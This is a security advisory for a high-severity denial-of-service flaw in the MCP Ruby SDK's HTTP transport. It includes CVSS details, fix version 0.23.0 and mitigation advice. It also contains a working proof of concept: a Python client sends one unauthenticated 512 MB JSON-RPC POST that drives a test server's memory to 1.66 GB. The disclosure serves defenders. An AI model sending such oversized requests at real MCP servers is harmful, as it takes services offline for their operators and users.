GHSA-h669-8m4g-r2hc CVE-2026-67432
MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.78%
- Chance of exploitation in the next 30 days. Higher than 56.07% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-770 Allocation of Resources Without Limits or Throttling
- Fix
0.23.0- Upgrade mcp to this version or later
Description
Summary
An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.
Affected component
lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:
- Line 341:
body_string = request.body.read— reads the full HTTP body into memory with no upper bound. - Lines 531–535:
JSON.parse(body_string, symbolize_names: true)— fully materialises the parsed object graph; withsymbolize_names: trueevery JSON key also allocates a Ruby symbol.
The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.
A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.
Proof of concept
Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.
Server (oom_poc_server.rb)
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
server, stateless: true, enable_json_response: true,
)
Thread.new do
loop do
rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9293,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)
Client (oom_poc_client.py)
import socket
HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512
inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'
headers = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()
s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
print("recv:", s.recv(2048)[:200])
except OSError as e:
print("server unresponsive:", e)
Reproduction commands
bundle install
ruby oom_poc_server.rb # terminal A
python3 oom_poc_client.py # terminal B
Observed result
Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:
[mem] PID=61394 RSS=44 MB # idle baseline
[mem] PID=61394 RSS=44 MB
[mem] PID=61394 RSS=44 MB
[mem] PID=61394 RSS=1663 MB # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB # memory not released
[mem] PID=61394 RSS=1663 MB
A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.
<img width="1588" height="836" alt="poc1-1" src="https://github.com/user-attachments/assets/13522d05-b7fa-4c05-ba65-ce8ff7d66d4f" />
<img width="1400" height="948" alt="poc1-2" src="https://github.com/user-attachments/assets/b230bf85-bed9-46ca-91cf-53ffd10306a6" />
Impact
- Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
- Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
- Affected deployments: every server mounting
MCP::Server::Transports::StreamableHTTPTransportas a Rack app — the canonical HTTP deployment pattern. Both stateful andstateless: trueconfigurations are affected.
Suggested mitigation
- Reject requests whose
Content-Length(or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before callingrequest.body.read. - Use a streaming JSON parser, or pass
max_nesting:plus a hard byte cap toJSON.parse. - Apply the same
limit:argument to$stdin.getsinStdioTransportfor defence in depth.
Affected versions
RubyGems
| Package | Vulnerable | Fixed in |
|---|---|---|
| mcp | < 0.23.0 |
0.23.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
mcp RubyGems → 0.23.0
- bundler
bundle update mcp # Gemfile: gem "mcp", ">= 0.23.0"
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-770: Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
How to prevent it
- Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
- Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
- Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-5p9g-j988-pcwv MCP Ruby SDK: Ruby SSE Session Poisoning | High | Also affects mcp |
| GHSA-52jp-gj8w-j6xh MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood | Medium | Also affects mcp |
| GHSA-7683-3w9x-ch42 MCP Ruby SDK: Unbounded line buffer in stdio transports leads to memory exhaustion (DoS) | Medium | Also affects mcp |
| GHSA-rjr6-rcgv-9m7m MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection | Medium | Also affects mcp |
| GHSA-qvqr-5cv7-wh35 MCP Ruby SDK: Insufficient Session Binding Allows SSE Stream Hijacking via Session ID Replay | Medium | Also affects mcp |
| GHSA-62m5-6wh8-28x7 pypdf has possible long runtimes/large memory usage for encrypted PDF files | High | Same weakness, CWE-770 |
| GHSA-9wfm-jcj8-jfv9 russh's SSH agent server is susceptible to unbound allocations via repeated SSH_AGENT_CONSTRAIN_CONFIRM messages | Low | Same weakness, CWE-770 |
| GHSA-4p9f-7p9m-5vfg russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets | Medium | Same weakness, CWE-770 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor